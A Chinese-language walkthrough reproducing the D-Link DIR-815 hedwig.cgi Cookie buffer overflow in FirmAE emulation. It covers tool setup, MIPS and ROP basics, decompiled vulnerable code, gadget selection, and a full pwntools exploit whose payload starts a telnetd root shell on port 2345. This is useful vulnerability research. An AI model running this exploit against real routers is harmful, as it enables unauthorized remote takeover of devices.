格林...

前置条件:

工具:

建议Ubuntu18.04及以上且是纯净版本

binwalk

sudo apt install binawlk

firmware-mod-kit

安装之前得先安装环境

Ubuntu18.04及前

sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic autoconf

Ubuntu20.04及后

sudo apt-get install git build-essential zlib1g-dev liblzma-dev python3-magic autoconf python-is-python3

环境配好后就可以安装firmware-mod-kit了

git clone https://github.com/rampageX/firmware-mod-kit.git

FirmAE

强烈建议拉项目前存个快照

拉项目

git clone --recursive https://github.com/pr0v3rbs/FirmAE

之后进入文件夹依次执行以下三个sh文件

1
2
3
sudo ./download.sh
sudo ./install.sh
sudo ./init.sh

常见问题

download.sh

download里的网站基本全在海外,所以常常出现没法全部拉下来的场面

我的建议是,要么走代理

要么就把sh文件里的网站复制下来在宿主机里的浏览器中下载,也就是亲力亲为一个个下,再复制粘贴到binaries

install.sh

跑之前给点建议:

1.如果你有qemu环境,就注释掉sh里的以下代码,否则很有可能将你的qemu环境弄得一团糟

1
sudo apt-get install -y qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils

2.网络问题是典中典,建议走代理

3.这玩意会给你安一个postgresql,小心环境紊乱

1
sudo apt install -y postgresql

综上:

​ 如果你执行完它再重启Ubuntu后,失去了图形化界面,那就是没救了,回快照吧,环境崩了

使用仿真常见小问题

target is busy.

这玩意基本就是因为没有正常退出仿真导致的

查看挂载点

命令:mount | grep pathto/FirmAE/scratch/targetID/image

删掉挂载点

命令:sudo umount -f pathto/FirmAE/scratch/targetID/image

​ or sudo umount --lazy pathto/FirmAE/scratch/1/image(可以两个指令联用)

有时候这玩意会抽风,得尝试好几次,不知道啥原因

Address already in use

成因同上

删除占用端口

命令:先查看sudo lsof -i -P -n | grep LISTEN

​ 后删除sudo kill -9 <PID>

IDA的mipsrop插件

旧一点的IDAPython的版本一般是python2版本,并且mipsrop.py脚本也是按照python2格式来写的,这就导致你如果IDAPython的版本高于3,就会有mipsrop.py脚本不适配,得一个个修改,甚至修改了还是运行不了,还好网上有大佬已经弄好适配python3版本的mipsrop.py了,但我自己搜的时候弄的好痛苦,基本都是介绍python2 的版本,很麻烦,所以我把该链接分享出来

[求助]IDA 无法安装mipsrop插件-求助问答-看雪-安全社区|安全招聘|kanxue.com

需要下载的zip包就在评论区里,往下滑很快的,经本人亲自尝试,可支持IDA8.3甚至是IDAPro9.0

解压后直接把以下文件丢到IDA根目录下的plugins即可

image-20241125212843749

常见问题:NameError: name ‘mipsrop’ is not defined

解决方法

1
2
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

常使用模块

寻找特定gadget

mipsrop.find("the asm you want to search")

主要针对栈相关的gadget
mipsrop.stackfinders()

知识点:

基础溢出

有点Pwn基础的上手会很快,简单解释下什么是溢出。一般都是由于缓冲区溢出等原因导致攻击者能够控制程序执行流,来执行恶意代码,达到攻击目的。在这就是对路由器进行挟持了。

常见的攻击方式有ShellcodeROP

Shellcode

Shellcode的本质是机械码,攻击者通过精心构建的Shellcode,来执行恶意代码,最终达到攻击目的。一般的Shellcode由汇编辅助编写而成,所以常见的都是用汇编写Shellcode

ROP

ROP即返回导向编程。通过利用程序中各种细碎的代码段(也称为gadgetpop | ret)串成一段恶意代码,这段恶意代码有着控制寄存器、系统调用等功能,通过溢出劫持返回地址执行这段代码,达到攻击目的

HTTP协议

有web基础基本就可以跳了,简要介绍下

HTTP(即HyperText Transfer Protocol)是一种超文本传输协议,是Web上进行任何数据交换的基础,也是一种客户端-服务器协议.

它由请求和响应组成,而请求的各个部分分别是请求行、消息报头、请求正文

请求行

Method Request-URI HTTP-Version CRLF

消息报头

包含若干字段,通常以 key: value 的格式表示,如

1
2
Content-Length: 348
Content-Type: application/x-www-form-urlencoded
请求正文

HTTP请求正文是请求消息中可选的部分,通常用于在 POSTPUT 或其他需要传递数据的请求中,携带客户端向服务器发送的数据。它是位于请求头之后的实际数据内容。可由多种数据组成,如表单、二进制、JSON等,如

1
2
3
4
5
6
7
8
9
10
POST /api/v1/user HTTP/1.1
Host: api.example.com
Content-Type: application/json
Content-Length: 55

{
"username": "admin",
"password": "12345",
"remember_me": true
}

Content-Type来判断请求正文的格式,JSON格式的内容则是请求正文

MIPS架构

寄存器

1
2
3
4
5
6
7
8
9
10
11
zero -> 值始终为0
$at -> 保留给汇编器
$v0-$v1 -> 保存表达式返回结果
$a0-$v3 -> 函数参数,类比rdi,rsi...的顺序,超过4个则用堆栈传递
$t0-t9 -> 临时寄存器,其中t8,t9是扩展,且t9常用来调用函数
$s0-$s7 -> 保存寄存器,保存一些函数调用时必要的值
$k0-$k1 -> 留给系统中断处理的时候使用
$gp -> 全局指针
$sp -> 堆栈指针,类比rsp
$fp -> 栈帧指针
$ra -> 返回地址,类比ret

基础汇编

LOAD和STORE
1
2
3
4
5
6
7
8
l==>LOAD
s==>STORE
不同的后缀代表不同的数据大小
w==>word
h==>half
b==>byte
u==>unsigned
i==>immediate
指令格式
R型

opcode | first source res | second source res | destination res | offset | funct(这个参数不用了解,毕竟我们看的常常是汇编)

I型

opcode | source res | destination res | addr_offset

J型

opcode | target_addr

常见汇编
1
2
3
add
jr==jmp,常跟ra
jalr,效果近似于jmp,后边常跟t9调用函数

流水线指令集特性之一:分支延迟效应

流水线效应最常见的就是跳转指令(如jalr)导致的分支延迟效应,当它跳转指令填充好跳转地址但尚未跳转过去时,它会优先执行该跳转指令的下一条指令,如

1
2
jalr    $t9
addiu $s0, 1

在还未跳转到t9时,会执行addiu汇编,然后再进行跳转,可以理解为同时执行了两条指令

硬件下载地址:

https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/

漏洞成因:

image-20241117132347511

Cookie头hedwig.cgi远程缓冲区溢出

漏洞分析:

我们先从固件包下手

binwalk -Me DIR-815-FW-1.01b14_1.01b14.bin

获得以下文件

image-20241125023313081

根据漏洞报告里说与hedwig.cgiCookie有关,我们从固件里提取出相关二进制文件,并就着Cookie进行寻找

image-20241125023442283

image-20241125023510381

sess_get_uid函数里发现了利用,我们先在交叉引用中寻找与漏洞名有关的函数 发现在hedwigcgi_main函数中进行了调用,进入该函数看看做了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
int hedwigcgi_main()
{
char *v0; // $v0
const char *v1; // $a1
FILE *v2; // $s0
int v3; // $fp
int v4; // $s5
int v5; // $v0
const char *string; // $v0
FILE *v7; // $s2
int v8; // $v0
int v9; // $s7
int v10; // $v0
char **v11; // $s1
int i; // $s3
char *v13; // $v0
const char **v14; // $s1
int v15; // $s0
char *v16; // $v0
const char **v17; // $s1
int v18; // $s0
int v19; // $v0
const char *v20; // $v0
char v22[20]; // [sp+18h] [-4A8h] BYREF
char *v23; // [sp+2Ch] [-494h] BYREF
char *v24; // [sp+30h] [-490h]
_DWORD v25[3]; // [sp+34h] [-48Ch] BYREF
char v26[128]; // [sp+40h] [-480h] BYREF
char v27[1024]; // [sp+C0h] [-400h] BYREF

memset(v27, 0, sizeof(v27));
memset(v26, 0, sizeof(v26));
strcpy(v22, "/runtime/session");
v0 = getenv("REQUEST_METHOD");
if ( !v0 )
{
v1 = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;
goto LABEL_25;
}
if ( strcasecmp(v0, "POST") )
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000);
v2 = fopen("/etc/config/image_sign", "r");
if ( !fgets(v26, 128, v2) )
{
v1 = "unable to read signature!";
goto LABEL_7;
}
fclose(v2);
cgibin_reatwhite(v26);
v4 = sobj_new();
v5 = sobj_new();
v3 = v5;
if ( !v4 || !v5 )
{
v1 = "unable to allocate string object";
goto LABEL_34;
}
sess_get_uid(v4);
string = (const char *)sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
xmldbc_del(0, 0, v27);
v7 = fopen("/var/tmp/temp.xml", "w");
if ( !v7 )
{
v1 = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack )
{
v1 = "no xml data.";
goto LABEL_34;
}
v8 = fileno(v7);
v9 = lockf(v8, 3, 0);
if ( v9 < 0 )
{
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
0);
v9 = 0;
goto LABEL_26;
}
v10 = fileno(v7);
lockf(v10, 1, 0);
v23 = v26;
v24 = 0;
memset(v25, 0, sizeof(v25));
v24 = strtok(v22, "/");
v11 = (char **)v25;
for ( i = 2; ; ++i )
{
v13 = strtok(0, "/");
*v11++ = v13;
if ( !v13 )
break;
}
(&v23)[i] = (char *)sobj_get_string(v4);
fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);
v14 = (const char **)&v23;
v15 = 0;
do
{
++v15;
fprintf(v7, "<%s>\n", *v14++);
}
while ( v15 < i + 1 );
v16 = strstr(haystack, "<postxml>");
fprintf(v7, "%s\n", v16);
v17 = (const char **)&(&v23)[i];
v18 = i + 1;
do
{
--v18;
fprintf(v7, "</%s>\n", *v17--);
}
while ( v18 > 0 );
fflush(v7);
xmldbc_read(0, 2, "/var/tmp/temp.xml");
v19 = fileno(v7);
lockf(v19, 0, 0);
fclose(v7);
remove("/var/tmp/temp.xml");
v20 = (const char *)sobj_get_string(v4);
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
xmldbc_ephp(0, 0, v27, stdout);
if ( v9 )
{
v1 = 0;
LABEL_25:
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
v1);
}
LABEL_26:
if ( haystack )
free(haystack);
if ( v3 )
sobj_del(v3);
if ( v4 )
sobj_del(v4);
return v9;
}

可以很明显看到漏洞点

1
2
3
sess_get_uid(v4);
string = (const char *)sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);

string过大会导致栈溢出,而string由sobj_get_string这个函数提取v4的字符串所得,v4又由sess_get_uid进行了操作,那我们就要详细分析sess_get_uid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int __fastcall sess_get_uid(int a1)
{
int v2; // $s2
char *v3; // $v0
int v4; // $s3
char *v5; // $s4
int v6; // $s1
int v7; // $s0
char *string; // $v0
int result; // $v0

v2 = sobj_new();
v4 = sobj_new();
v3 = getenv("HTTP_COOKIE");
if ( !v2 )
goto LABEL_27;
if ( !v4 )
goto LABEL_27;
v5 = v3;
if ( !v3 )
goto LABEL_27;
v6 = 0;
while ( 1 )
{
v7 = *v5;
if ( !*v5 )
break;
if ( v6 == 1 )
goto LABEL_11;
if ( v6 < 2 )
{
if ( v7 == 32 )
goto LABEL_18;
sobj_free(v2);
sobj_free(v4);
LABEL_11:
if ( v7 == 59 )
{
v6 = 0;
}
else
{
v6 = 2;
if ( v7 != 61 )
{
sobj_add_char(v2, v7);
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == 59 )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++);
}
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") )
goto LABEL_21;
LABEL_18:
++v5;
}
}
if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
string = (char *)sobj_get_string(v4);
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
result = sobj_add_string(a1, string);
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;
}

总结就是该函数经过了一系列操作中,从 HTTP 请求的 Cookie 中解析键为 "uid" 的值,并将其存储到目标对象v4中,如果没有找到 "uid",则使用客户端的 IP 地址作为默认值,所以payload的格式很好确定

1
'Cookie':'uid='+ payload

动态调试

启动仿真

path_to_FirmAE/run.sh <mode> <brand> path/to/firmware

mode是模式,brand是品牌,比如我是这样的

./run.sh -d dlink /home/dusk/firmware/DIR-815_REVA_FIRMWARE_v1.01/dir815_FW_101/DIR-815-FW-1.01b14_1.01b14.bin

等待一会儿后就会出现如下界面

image-20241125030219067

我们先输入2,输入指令,获取服务进程

ps | grep "httpd"

image-20241125030315819

其中2639就是我们的进程

我们再ctrl D并输入4起gdbserver,输入pid即可

image-20241125030425554

为了方便我们调试gdbserver,要关闭地址随机化(实际上的固件的地址也是不随机的)

echo "0" >> /proc/sys/kernel/randomize_va_space

因为在gdb-muliarch调试远端gdbserver的时候是没有libc模块的,所以得在qemu里获取libc_base

cat /proc/server_pid/maps

测试溢出大小

需要用到pwntools,gdbserver,gdb-multiarch,FirmAE

在动调前我们需要写好两个脚本

第一个:建立预POST脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

url = "http://192.168.0.1/hedwig.cgi"
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded", #表单提交的默认编码方式,用于发送键值对形式的数据以URL编码的方式发送,键值对用&连接,键和值用=分隔
"Content-Length": "11",
"REQUEST_METHOD":"POST",
"REQUEST_URI" :"/hedwig.cgi",
}
res = requests.post(url = url, headers = headers)

第二个:gdb-multiarch脚本,可以随意命名

1
2
3
4
5
set architecture mips #设置架构
set follow-fork-mode child #指定被调的程序执行fork()系统调用时跟进子进程。若为parent,则继续跟踪父进程,忽视子进程
set detach-on-fork off #设置fork分离模式,off为不自动将未被跟踪的进程(父进程或子进程)从调试会话中分离
b *0x409A30 #下断点
target remote 192.168.0.1:1337 #链接远端

命名好后启动如下命令即可开始调试

gdb-multiarch -x filename

好了,现在我们就可以尝试寻找溢出点了。我们用pwntools里提供的cyclic函数来定位溢出点

image-20241125025624346

可以得到offset大约为1043(注意,是大约,并不一定完全准确,还需要自己微调),我们再调一次看看结果如何

cyclic(1043) + b'dusk'

image-20241125030651047

与很好的结果,与测定结果相同,此时我们就已经劫持ra跳转地址了,那么我们还需要一些gadget辅助我们进行system函数调用

gadget思路

需要注意的是,sprintf\x00截断,而system函数恰好以\x00结尾,这时候就需要用到我们的流水线效应了

image-20241125031010668

我们可以让system-1,然后找一个跳转指令并且紧跟着add res,1的指令就可以使我们的system函数恢复,光回复不够,我们还需要调用,所以我们还得找一个gadget来使存储system函数的某s寄存器被赋值给t9然后通过jalr调用即可,所幸我们能在libc里找到,相对偏移如下

image.png

image.png

1
2
0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1

然后就是精心构造payload和需要执行的命令了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x77f34000
move_jalr = 0x159CC + libc_base
addiu_jalr = 0x158C8 + libc_base
system = 0x53200 + libc_base
payload = cyclic(1007)
payload += p32(system - 1) #$s0
payload += b'a'*0x10
payload += p32(move_jalr) #$s5
payload += b'b' * 0xc
payload += p32(addiu_jalr)
payload += b'c' * 0x10
payload += b'telnetd -l /bin/sh -p 2345 & ls & ' #起一个telnetd服务,监听端口为2345,并提供交互shell,

url = "http://192.168.0.1/hedwig.cgi"
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "11",
"REQUEST_METHOD":"POST",
"REQUEST_URI" :"/hedwig.cgi",
}
res = requests.post(url = url, headers = headers)

执行效果如下

image-20241125032345219

image-20241125032452950

完成复现